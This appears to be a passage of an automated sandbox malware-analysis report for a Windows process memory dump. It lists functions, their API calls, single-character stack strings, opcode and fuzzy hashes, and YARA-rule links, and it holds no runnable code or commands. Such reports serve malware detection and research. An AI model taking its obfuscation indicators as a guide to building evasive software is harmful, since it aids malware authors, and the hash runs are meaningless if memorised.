GetProcessHeap.KERNEL32 ref: 00007FF70D6EE2DA
HeapFree.KERNEL32 ref: 00007FF70D6EE2E9

Part of subcall function 00007FF70D703420: GetProcAddress.KERNEL32 ref: 00007FF70D7034F1

GetProcAddress.KERNEL32 ref: 00007FF70D6EE5C6

Strings

S, xrefs: 00007FF70D6EE567
p, xrefs: 00007FF70D6EE57B
p, xrefs: 00007FF70D6EDEB5
l, xrefs: 00007FF70D6EE56C
e, xrefs: 00007FF70D6EE571
e, xrefs: 00007FF70D6EE576

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressProcProcess$Free$AllocCriticalLibraryLoadSection$EnterLeavelstrcatlstrcpy
String ID: S$e$e$l$p$p
API String ID: 1281930162-1687715753
Opcode ID: fcfa78aeaa883b37235fcfb0fae35f717fb2e18ea1f5d0b3f5551c486679c56a
Instruction ID: 699ed1c91007cba8641e463af0fb1207e9eb3c92373c6f88a7b7a6f7b0536481
Opcode Fuzzy Hash: fcfa78aeaa883b37235fcfb0fae35f717fb2e18ea1f5d0b3f5551c486679c56a
Instruction Fuzzy Hash: FE329412E1C7C28DF301E7B5EC043BC6BA1AB6A34CF851275EA4D166A6EF7DA144C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6FC950, Relevance: 33.5, APIs: 5, Strings: 14, Instructions: 295memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6FC6B0: GetProcAddress.KERNEL32 ref: 00007FF70D6FC764

Part of subcall function 00007FF70D6F66C0: GetProcAddress.KERNEL32 ref: 00007FF70D6F6764

Part of subcall function 00007FF70D6F5990: GetProcAddress.KERNEL32 ref: 00007FF70D6F5A05

Part of subcall function 00007FF70D6F5700: GetProcAddress.KERNEL32 ref: 00007FF70D6F5775

Part of subcall function 00007FF70D6F5900: GetProcAddress.KERNEL32 ref: 00007FF70D6F5975

GetProcessHeap.KERNEL32 ref: 00007FF70D6FCAD1
HeapAlloc.KERNEL32 ref: 00007FF70D6FCAE3

Strings

i, xrefs: 00007FF70D6FCC61
T, xrefs: 00007FF70D6FCC4D
i, xrefs: 00007FF70D6FCC48
g, xrefs: 00007FF70D6FCC5C
e, xrefs: 00007FF70D6FCC3E
G, xrefs: 00007FF70D6FCC2A
v, xrefs: 00007FF70D6FCC32
E, xrefs: 00007FF70D6FCC70
x, xrefs: 00007FF70D6FCC43
s, xrefs: 00007FF70D6FCC57
w, xrefs: 00007FF70D6FCC6B
v, xrefs: 00007FF70D6FCC52
w, xrefs: 00007FF70D6FCC66
i, xrefs: 00007FF70D6FCC39

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$Heap$AllocProcess
String ID: E$G$T$e$g$i$i$i$s$v$v$w$w$x
API String ID: 3649474397-414272908
Opcode ID: 53e2fa2fc274d7ee70c47f700d7c75f6f2e2ddea0b8f6b95da79de41ff571d64
Instruction ID: b52b5ad025d85c1efbc86ac4239275717fb5b8841dc331142eaa705e5bb6fd9d
Opcode Fuzzy Hash: 53e2fa2fc274d7ee70c47f700d7c75f6f2e2ddea0b8f6b95da79de41ff571d64
Instruction Fuzzy Hash: 91D13032E0CB4285EA10F766E8551FEA796AF497D4F805439FA8D4778AEF3DE0048760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E5020, Relevance: 31.5, APIs: 25, Instructions: 252memorystringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI ref: 00007FF70D6E512C
StrSpnA.SHLWAPI ref: 00007FF70D6E517B
StrPBrkA.SHLWAPI ref: 00007FF70D6E51CB
lstrlenA.KERNEL32 ref: 00007FF70D6E51E0

Part of subcall function 00007FF70D6EC6C0: GetProcAddress.KERNEL32 ref: 00007FF70D6EC766

GetProcessHeap.KERNEL32 ref: 00007FF70D6E51F8
HeapAlloc.KERNEL32 ref: 00007FF70D6E5206
lstrcpynA.KERNEL32 ref: 00007FF70D6E5222
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5234
HeapFree.KERNEL32 ref: 00007FF70D6E5243
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5296
HeapAlloc.KERNEL32 ref: 00007FF70D6E52A4
GetProcessHeap.KERNEL32 ref: 00007FF70D6E52D8
HeapFree.KERNEL32 ref: 00007FF70D6E52E6
GetProcessHeap.KERNEL32 ref: 00007FF70D6E52EC
HeapFree.KERNEL32 ref: 00007FF70D6E52FA
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5311
HeapFree.KERNEL32 ref: 00007FF70D6E531F
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5350
HeapFree.KERNEL32 ref: 00007FF70D6E535E
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5369
HeapFree.KERNEL32 ref: 00007FF70D6E5377
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5380
HeapFree.KERNEL32 ref: 00007FF70D6E538F
GetProcessHeap.KERNEL32 ref: 00007FF70D6E539A
HeapFree.KERNEL32 ref: 00007FF70D6E53A8

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$Alloc$AddressProclstrcpynlstrlen
String ID:
API String ID: 2168060780-0
Opcode ID: 4e1479b424146990d8ff771588b542fdfbc15878aed645e919734cc759d8ffc0
Instruction ID: 19aaefb2622d8d16654375a0af0694370f461e82031ac43c0ebf675f511cdb1d
Opcode Fuzzy Hash: 4e1479b424146990d8ff771588b542fdfbc15878aed645e919734cc759d8ffc0
Instruction Fuzzy Hash: 00C16326F0C78289E710DBB5E8142AC7BA6AF4978CF854178DE4E67B59EF3D91058320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EF810, Relevance: 28.8, APIs: 19, Instructions: 301memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6EF8C3
lstrcpynW.KERNEL32 ref: 00007FF70D6EF909
GetProcAddress.KERNEL32 ref: 00007FF70D6EF995
GetProcessHeap.KERNEL32 ref: 00007FF70D6EF9C6
HeapAlloc.KERNEL32 ref: 00007FF70D6EF9D7
GetProcessHeap.KERNEL32 ref: 00007FF70D6EF9F6
HeapAlloc.KERNEL32 ref: 00007FF70D6EFA0A
GetProcessHeap.KERNEL32 ref: 00007FF70D6EFA18
HeapFree.KERNEL32 ref: 00007FF70D6EFA26

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AddressAllocProc$Freelstrcpyn
String ID:
API String ID: 107109789-0
Opcode ID: b98f11869574a2324c5c6e1318564285b19041328baaf1922ed2e408758789e4
Instruction ID: 39440e328a0aab9d340051b03bb5e8a32b9eb3e9fb39061ef90c6e6b77791c08
Opcode Fuzzy Hash: b98f11869574a2324c5c6e1318564285b19041328baaf1922ed2e408758789e4
Instruction Fuzzy Hash: FEE11522E0C7D189F301CB79E8543AD7FA1AB5A78CF584168DE8947B95EF7E9106C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F0DF0, Relevance: 15.2, APIs: 10, Instructions: 205memorylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6ED980: GetProcAddress.KERNEL32 ref: 00007FF70D6EDA51

GetProcessHeap.KERNEL32 ref: 00007FF70D6F0E51
HeapAlloc.KERNEL32 ref: 00007FF70D6F0E5F
GetProcAddress.KERNEL32 ref: 00007FF70D6F0FB1
GetProcessHeap.KERNEL32 ref: 00007FF70D6F0FDA
HeapReAlloc.KERNEL32 ref: 00007FF70D6F0FEB

Part of subcall function 00007FF70D703420: GetProcAddress.KERNEL32 ref: 00007FF70D7034F1

GetProcessHeap.KERNEL32 ref: 00007FF70D6F1085
HeapFree.KERNEL32 ref: 00007FF70D6F1093

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AddressProcProcess$Alloc$Free
String ID:
API String ID: 4104785832-0
Opcode ID: 87e548fdfb5b789c5855a835b4c73f36ecb5f39f99952f93c0c04f81376ec876
Instruction ID: 10c563da9e923101d2053a3102fa02d9179e76e6c367a3f089d4d13da3dc88c1
Opcode Fuzzy Hash: 87e548fdfb5b789c5855a835b4c73f36ecb5f39f99952f93c0c04f81376ec876
Instruction Fuzzy Hash: FD81B322F0C78289F700E775EC443AD6AA5AF597C8F844039EE4D67B89EF7D95058320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EE6E0, Relevance: 11.5, APIs: 9, Instructions: 219memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6EE855
HeapAlloc.KERNEL32 ref: 00007FF70D6EE864
GetProcessHeap.KERNEL32 ref: 00007FF70D6EE872
HeapFree.KERNEL32 ref: 00007FF70D6EE881
lstrlenA.KERNEL32 ref: 00007FF70D6EE92F
GetProcessHeap.KERNEL32 ref: 00007FF70D6EE9DE
HeapFree.KERNEL32 ref: 00007FF70D6EE9EC
GetProcessHeap.KERNEL32 ref: 00007FF70D6EEA03
HeapFree.KERNEL32 ref: 00007FF70D6EEA11

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$Alloclstrlen
String ID:
API String ID: 790648272-0
Opcode ID: 2eafa4dd353dc705c53682ed07f44d0bc0c0f19b2ba61aa489d4af708119eb35
Instruction ID: 0c447f47c9a3df7c08bdb1dda004c2bc404a117dfff780a3c7eaa80f9d133292
Opcode Fuzzy Hash: 2eafa4dd353dc705c53682ed07f44d0bc0c0f19b2ba61aa489d4af708119eb35
Instruction Fuzzy Hash: 04B14012F1C7C1CDF711D7B9D4083AD7FA19B1A78CF484069DA8926A9ADBBE5109C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703F8C, Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF70D703FA8
RtlCaptureContext.NTDLL ref: 00007FF70D703FD5
RtlLookupFunctionEntry.NTDLL ref: 00007FF70D703FEF
RtlVirtualUnwind.NTDLL ref: 00007FF70D704030
IsDebuggerPresent.KERNEL32 ref: 00007FF70D704084
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70D7040A5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70D7040B0

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: f63bcc3044ffaf0afe8206d9e9f305961cac2b3961a7b6f304a6182fe5e30abe
Instruction ID: b0cb0f00fb1758fe4e1469f69516fa5acf1e646284fc8d173113532317643a79
Opcode Fuzzy Hash: f63bcc3044ffaf0afe8206d9e9f305961cac2b3961a7b6f304a6182fe5e30abe
Instruction Fuzzy Hash: C3313E76608B818AEB609F64EC403EDA764FB88748F845539DA4D97B94EF38D548C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70A28C, Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF70D70A305
RtlLookupFunctionEntry.NTDLL ref: 00007FF70D70A31D
RtlVirtualUnwind.NTDLL ref: 00007FF70D70A358
IsDebuggerPresent.KERNEL32 ref: 00007FF70D70A391
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70D70A39B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70D70A3A6

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 32db21b23be6f6ff336b786e61ffe1390b87f2e6593ffe6c6de423fdcb844663
Instruction ID: 13b0a643b0f481c2c10e3a66fc558efe7b6e12b3fc09ff2eb93764b4820219c9
Opcode Fuzzy Hash: 32db21b23be6f6ff336b786e61ffe1390b87f2e6593ffe6c6de423fdcb844663
Instruction Fuzzy Hash: AA315C36608B8186DB64DF25EC402AEB7A4FF89758F941235EA9D83B94EF38D145CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70BAA4, Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 00007FF70D70BB13
WriteFile.KERNEL32 ref: 00007FF70D70BDBD
WriteFile.KERNEL32 ref: 00007FF70D70BE0F
GetLastError.KERNEL32 ref: 00007FF70D70BF51
GetLastError.KERNEL32 ref: 00007FF70D70BF63

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: 06906a71be6ddf01e6f5f5c62c6872077bdd0a287c7c89c8bfaa2d8a549c96fe
Instruction ID: 7f1cebba10d8ed512f2cf2b457fe1aecd3fe1e4001b1bbd4bf0f0c02383c42cd
Opcode Fuzzy Hash: 06906a71be6ddf01e6f5f5c62c6872077bdd0a287c7c89c8bfaa2d8a549c96fe
Instruction Fuzzy Hash: FCD1C062A0CB8189E710DB64D8442ADBBB1FF48788F941136DF4E87B99EF38D216C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D703080, Relevance: 84.2, APIs: 9, Strings: 39, Instructions: 162stringlibrarymemoryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D703134
GetProcAddress.KERNEL32 ref: 00007FF70D7031E2
GetProcAddress.KERNEL32 ref: 00007FF70D703274
lstrlenA.KERNEL32 ref: 00007FF70D703286
lstrlenA.KERNEL32 ref: 00007FF70D70329A
GetProcessHeap.KERNEL32 ref: 00007FF70D7032A9
HeapAlloc.KERNEL32 ref: 00007FF70D7032B7
lstrcpyA.KERNEL32 ref: 00007FF70D7032D9
lstrcpyA.KERNEL32 ref: 00007FF70D7032EA

Strings

N, xrefs: 00007FF70D703190
e, xrefs: 00007FF70D70318B
R, xrefs: 00007FF70D7030DC
o, xrefs: 00007FF70D7030D2
p, xrefs: 00007FF70D70320F
A, xrefs: 00007FF70D7031A4
g, xrefs: 00007FF70D7030BB
p, xrefs: 00007FF70D703219
C, xrefs: 00007FF70D7030F0
Q, xrefs: 00007FF70D703228
m, xrefs: 00007FF70D70319A
e, xrefs: 00007FF70D70315B
i, xrefs: 00007FF70D703181
p, xrefs: 00007FF70D703237
v, xrefs: 00007FF70D7030E6
t, xrefs: 00007FF70D703163
v, xrefs: 00007FF70D7030C3
GwO, xrefs: 00007FF70D7031AE, 00007FF70D7031DA, 00007FF70D7031C0
c, xrefs: 00007FF70D7030E1
e, xrefs: 00007FF70D70319F
I, xrefs: 00007FF70D7030B4
t, xrefs: 00007FF70D70322D
w, xrefs: 00007FF70D703214
G, xrefs: 00007FF70D703153
r, xrefs: 00007FF70D7030D7
L, xrefs: 00007FF70D70323C
p, xrefs: 00007FF70D703223
F, xrefs: 00007FF70D70317C
a, xrefs: 00007FF70D703195
T, xrefs: 00007FF70D703168
g, xrefs: 00007FF70D7030CD
m, xrefs: 00007FF70D703172
e, xrefs: 00007FF70D70316D
O, xrefs: 00007FF70D703207
l, xrefs: 00007FF70D703186
p, xrefs: 00007FF70D703177
j, xrefs: 00007FF70D7030EB
V, xrefs: 00007FF70D7030C8
w, xrefs: 00007FF70D703232

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$Heaplstrcpylstrlen$AllocProcess
String ID: A$C$F$G$GwO$I$L$N$O$Q$R$T$V$a$c$e$e$e$e$g$g$i$j$l$m$m$o$p$p$p$p$p$r$t$t$v$v$w$w
API String ID: 1108828635-2548464160
Opcode ID: 45fa08c8e64eda6b86186e5530b2eb47ae57e9015954d73ffc121a94293c70d9
Instruction ID: 0ec7c8dd630d30aca43ed6d7502c6d31f83ecfa6f40a9f44c4fcf89ee4d78fcb
Opcode Fuzzy Hash: 45fa08c8e64eda6b86186e5530b2eb47ae57e9015954d73ffc121a94293c70d9
Instruction Fuzzy Hash: 9E71721250C7C189E711D729E81436BEF91EB9A788F481164E7CD07B9AEFBED1088B25

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702DE0, Relevance: 70.2, APIs: 7, Strings: 33, Instructions: 155stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D702E94
GetProcAddress.KERNEL32 ref: 00007FF70D702F44
GetProcAddress.KERNEL32 ref: 00007FF70D702FE4
lstrlenW.KERNEL32 ref: 00007FF70D702FF6
lstrlenW.KERNEL32 ref: 00007FF70D703009
lstrcpyW.KERNEL32 ref: 00007FF70D703035
lstrcpyW.KERNEL32 ref: 00007FF70D703043

Strings

,, xrefs: 00007FF70D702EFA
$, xrefs: 00007FF70D702EFF
(, xrefs: 00007FF70D702EE1
A, xrefs: 00007FF70D702F09
-, xrefs: 00007FF70D702EE6
,, xrefs: 00007FF70D702ED2
5, xrefs: 00007FF70D702EC3
1, xrefs: 00007FF70D702ED7
, xrefs: 00007FF70D702EF5
$, xrefs: 00007FF70D702E4B
$, xrefs: 00007FF70D702E28
F, xrefs: 00007FF70D702F84
W, xrefs: 00007FF70D702F7F
GwO, xrefs: 00007FF70D702E46
$, xrefs: 00007FF70D702EEB
8, xrefs: 00007FF70D702E50
$, xrefs: 00007FF70D702EBB
, xrefs: 00007FF70D702E3C
$, xrefs: 00007FF70D702ECD
t, xrefs: 00007FF70D702F8E
5, xrefs: 00007FF70D702E20
[, xrefs: 00007FF70D702F93
W, xrefs: 00007FF70D702F75
=, xrefs: 00007FF70D702E37
2, xrefs: 00007FF70D702FA7
5, xrefs: 00007FF70D702E32
W, xrefs: 00007FF70D702F89
W, xrefs: 00007FF70D702F9D
^, xrefs: 00007FF70D702F98
^, xrefs: 00007FF70D702F7A
e, xrefs: 00007FF70D702FA2
v, xrefs: 00007FF70D702F6D
P, xrefs: 00007FF70D702E5A

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$lstrcpylstrlen
String ID: $ $$$$$$$$$$$$$($,$,$-$1$2$5$5$5$8$=$A$F$GwO$P$W$W$W$W$[$^$^$e$t$v
API String ID: 2413986714-4086040275
Opcode ID: 98b669d4048127150a365e16c4da2c91afcc74ec5930b1dd19c28ac3879c2b5a
Instruction ID: cd6a36a91d924aed9112c690f88eb966be3fdc72b92fb6a37825e153fb2082cd
Opcode Fuzzy Hash: 98b669d4048127150a365e16c4da2c91afcc74ec5930b1dd19c28ac3879c2b5a
Instruction Fuzzy Hash: A771801210C7C1C5E721D725E84836FAFA1EB9A748F881165E7C907A9ADFBEC109CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F1FE0, Relevance: 59.7, APIs: 7, Strings: 27, Instructions: 215librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F20A8
GetProcAddress.KERNEL32 ref: 00007FF70D6F21C8
lstrlenA.KERNEL32 ref: 00007FF70D6F2218
GetProcessHeap.KERNEL32 ref: 00007FF70D6F2225
HeapAlloc.KERNEL32 ref: 00007FF70D6F2233
lstrcpyA.KERNEL32 ref: 00007FF70D6F224C
GetProcAddress.KERNEL32 ref: 00007FF70D6F2318

Strings

}, xrefs: 00007FF70D6F206C
A, xrefs: 00007FF70D6F211F
8, xrefs: 00007FF70D6F2106
<, xrefs: 00007FF70D6F22BD
(, xrefs: 00007FF70D6F20ED
", xrefs: 00007FF70D6F2025
, xrefs: 00007FF70D6F2110
#, xrefs: 00007FF70D6F2160
", xrefs: 00007FF70D6F2294
=, xrefs: 00007FF70D6F2067
-, xrefs: 00007FF70D6F20FC
-, xrefs: 00007FF70D6F2188
6, xrefs: 00007FF70D6F203A
1, xrefs: 00007FF70D6F20F7
, xrefs: 00007FF70D6F2101
6, xrefs: 00007FF70D6F22A9
2, xrefs: 00007FF70D6F20F2
1, xrefs: 00007FF70D6F216F
=, xrefs: 00007FF70D6F22D6
3, xrefs: 00007FF70D6F214B
$, xrefs: 00007FF70D6F211A
,, xrefs: 00007FF70D6F2115
}, xrefs: 00007FF70D6F22DB
m, xrefs: 00007FF70D6F218D
?, xrefs: 00007FF70D6F205D
?, xrefs: 00007FF70D6F22CC
<, xrefs: 00007FF70D6F204E

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$Heap$AllocProcesslstrcpylstrlen
String ID: $ $"$"$#$$$($,$-$-$1$1$2$3$6$6$8$<$<$=$=$?$?$A$m$}$}
API String ID: 2605257192-3767453218
Opcode ID: c01999bd9eeb71f46d32b8b20a4df571aad444736bdef2fc6fea8bb2e3c410ee
Instruction ID: c2be6cc7cc47186c9467853343534a65495564b868fbe7deff5585b7a0367ed1
Opcode Fuzzy Hash: c01999bd9eeb71f46d32b8b20a4df571aad444736bdef2fc6fea8bb2e3c410ee
Instruction Fuzzy Hash: BCB1612250C7C189E711D769E40439EBFA1EB9A348F580159EBC807B9ADFBDD145CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F7580, Relevance: 45.7, APIs: 6, Strings: 20, Instructions: 205memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F7683
GetProcessHeap.KERNEL32 ref: 00007FF70D6F768E
HeapFree.KERNEL32 ref: 00007FF70D6F769C

Part of subcall function 00007FF70D6F6540: GetProcAddress.KERNEL32 ref: 00007FF70D6F65D4

GetProcessHeap.KERNEL32 ref: 00007FF70D6F77CF
HeapFree.KERNEL32 ref: 00007FF70D6F77DE
GetProcAddress.KERNEL32 ref: 00007FF70D6F7863

Part of subcall function 00007FF70D6F5E20: GetProcAddress.KERNEL32 ref: 00007FF70D6F5EA6

Part of subcall function 00007FF70D6F5790: GetProcAddress.KERNEL32 ref: 00007FF70D6F5834

Strings

|, xrefs: 00007FF70D6F76DF
w, xrefs: 00007FF70D6F7628
t, xrefs: 00007FF70D6F763C
|, xrefs: 00007FF70D6F76C7
p, xrefs: 00007FF70D6F762C
O, xrefs: 00007FF70D6F7620
m, xrefs: 00007FF70D6F76D3
L, xrefs: 00007FF70D6F7648
p, xrefs: 00007FF70D6F7634
Q, xrefs: 00007FF70D6F7638
u, xrefs: 00007FF70D6F76CF
1, xrefs: 00007FF70D6F7810
w, xrefs: 00007FF70D6F7640
b, xrefs: 00007FF70D6F7830
}, xrefs: 00007FF70D6F76DB
', xrefs: 00007FF70D6F781C
q, xrefs: 00007FF70D6F76CB
w, xrefs: 00007FF70D6F76D7
p, xrefs: 00007FF70D6F7624
p, xrefs: 00007FF70D6F7644

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc$Heap$FreeProcess
String ID: '$1$L$O$Q$b$m$p$p$p$p$q$t$u$w$w$w$|$|$}
API String ID: 1809629675-864240056
Opcode ID: f9aa08186c3fa8faa5047c5b8053e815bffa2ca4b64a17d13140842957cbf429
Instruction ID: eb898fccd3fa67513094b1b36b4db141a8bd3564a5274edc98d0497404161771
Opcode Fuzzy Hash: f9aa08186c3fa8faa5047c5b8053e815bffa2ca4b64a17d13140842957cbf429
Instruction Fuzzy Hash: 0691A412E0C78188F721A776DC142FDABA26F197C8F840139EE9D16B96EF7DE0058721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F6790, Relevance: 43.8, APIs: 1, Strings: 24, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F6843

Strings

q, xrefs: 00007FF70D6F6802
q, xrefs: 00007FF70D6F67C6
v, xrefs: 00007FF70D6F67A9
i, xrefs: 00007FF70D6F67BE
t, xrefs: 00007FF70D6F67EE
q, xrefs: 00007FF70D6F67BA
q, xrefs: 00007FF70D6F67DA
t, xrefs: 00007FF70D6F67C2
z, xrefs: 00007FF70D6F67D6
w, xrefs: 00007FF70D6F6806
|, xrefs: 00007FF70D6F67B6
k, xrefs: 00007FF70D6F67FA
q, xrefs: 00007FF70D6F67E2
i, xrefs: 00007FF70D6F67EA
|, xrefs: 00007FF70D6F67FE
K, xrefs: 00007FF70D6F67D2
m, xrefs: 00007FF70D6F67F6
q, xrefs: 00007FF70D6F67B0
Q, xrefs: 00007FF70D6F67A2
v, xrefs: 00007FF70D6F680A
m, xrefs: 00007FF70D6F67CE
[, xrefs: 00007FF70D6F67F2
k, xrefs: 00007FF70D6F67E6
|, xrefs: 00007FF70D6F67DE

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: K$Q$[$i$i$k$k$m$m$q$q$q$q$q$q$t$t$v$v$w$z$|$|$|
API String ID: 190572456-1375683818
Opcode ID: 2d71a2f4020e910ff41427e28322810bb3b84f52e3d3b38f21a63c5d348a27b5
Instruction ID: 0c7b4b0fbaed4bc295e6b746e22a0b7a6bc61b884304e95536dfabd86f5abbcf
Opcode Fuzzy Hash: 2d71a2f4020e910ff41427e28322810bb3b84f52e3d3b38f21a63c5d348a27b5
Instruction Fuzzy Hash: 0921CD12F0C7C0DCF70287BD94083AD3FA1572678CF084498DF992AA9BD7AE52598776

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F5790, Relevance: 35.1, APIs: 1, Strings: 19, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F5834

Strings

Q, xrefs: 00007FF70D6F57CC
k, xrefs: 00007FF70D6F57D0
g, xrefs: 00007FF70D6F57E0
D, xrefs: 00007FF70D6F57C0
a, xrefs: 00007FF70D6F57F4
n, xrefs: 00007FF70D6F57DC
p, xrefs: 00007FF70D6F57C8
e, xrefs: 00007FF70D6F57D8
c, xrefs: 00007FF70D6F57AE
v, xrefs: 00007FF70D6F57F8
l, xrefs: 00007FF70D6F57D4
h, xrefs: 00007FF70D6F57EC
`, xrefs: 00007FF70D6F57E8
m, xrefs: 00007FF70D6F57C4
g, xrefs: 00007FF70D6F57F0
U, xrefs: 00007FF70D6F57A7
k, xrefs: 00007FF70D6F57B5
v, xrefs: 00007FF70D6F57BC
M, xrefs: 00007FF70D6F57E4

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: D$M$Q$U$`$a$c$e$g$g$h$k$k$l$m$n$p$v$v
API String ID: 190572456-502417023
Opcode ID: bc0331a35754c45364e6f98b896d02284db8642b3979c67a1a99bb74a52a23e0
Instruction ID: 336540d70cd92c1b5c8fbe42a47e7c276bc8edf5532c0378e60222c9fb3afb7b
Opcode Fuzzy Hash: bc0331a35754c45364e6f98b896d02284db8642b3979c67a1a99bb74a52a23e0
Instruction Fuzzy Hash: FE214F12F0C7D0CDF30187B9D4083AD6FA1571674CF084898DF982BB8AC7AE82198775

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6ED760, Relevance: 33.4, APIs: 5, Strings: 14, Instructions: 123memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6ED7AA
HeapAlloc.KERNEL32 ref: 00007FF70D6ED7B8
GetProcAddress.KERNEL32 ref: 00007FF70D6ED898
GetProcessHeap.KERNEL32 ref: 00007FF70D6ED94C
HeapFree.KERNEL32 ref: 00007FF70D6ED95A

Strings

Y, xrefs: 00007FF70D6ED818
m, xrefs: 00007FF70D6ED827
[, xrefs: 00007FF70D6ED831
i, xrefs: 00007FF70D6ED81D
Q, xrefs: 00007FF70D6ED84F
e, xrefs: 00007FF70D6ED822
Z, xrefs: 00007FF70D6ED845
T, xrefs: 00007FF70D6ED84A
P, xrefs: 00007FF70D6ED840
B, xrefs: 00007FF70D6ED83B
&, xrefs: 00007FF70D6ED854
j, xrefs: 00007FF70D6ED82C
E, xrefs: 00007FF70D6ED836
[, xrefs: 00007FF70D6ED810

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AddressAllocFreeProc
String ID: &$B$E$P$Q$T$Y$Z$[$[$e$i$j$m
API String ID: 726391321-1781630266
Opcode ID: f1bd5ec851a7052176b411fac25a723eb5fe33a0ba64345d7ab70d8012cf659e
Instruction ID: e01bb67e3dc22bd761d26d8b54d0dfba80187e481a3dc30f426b99c03a2f844d
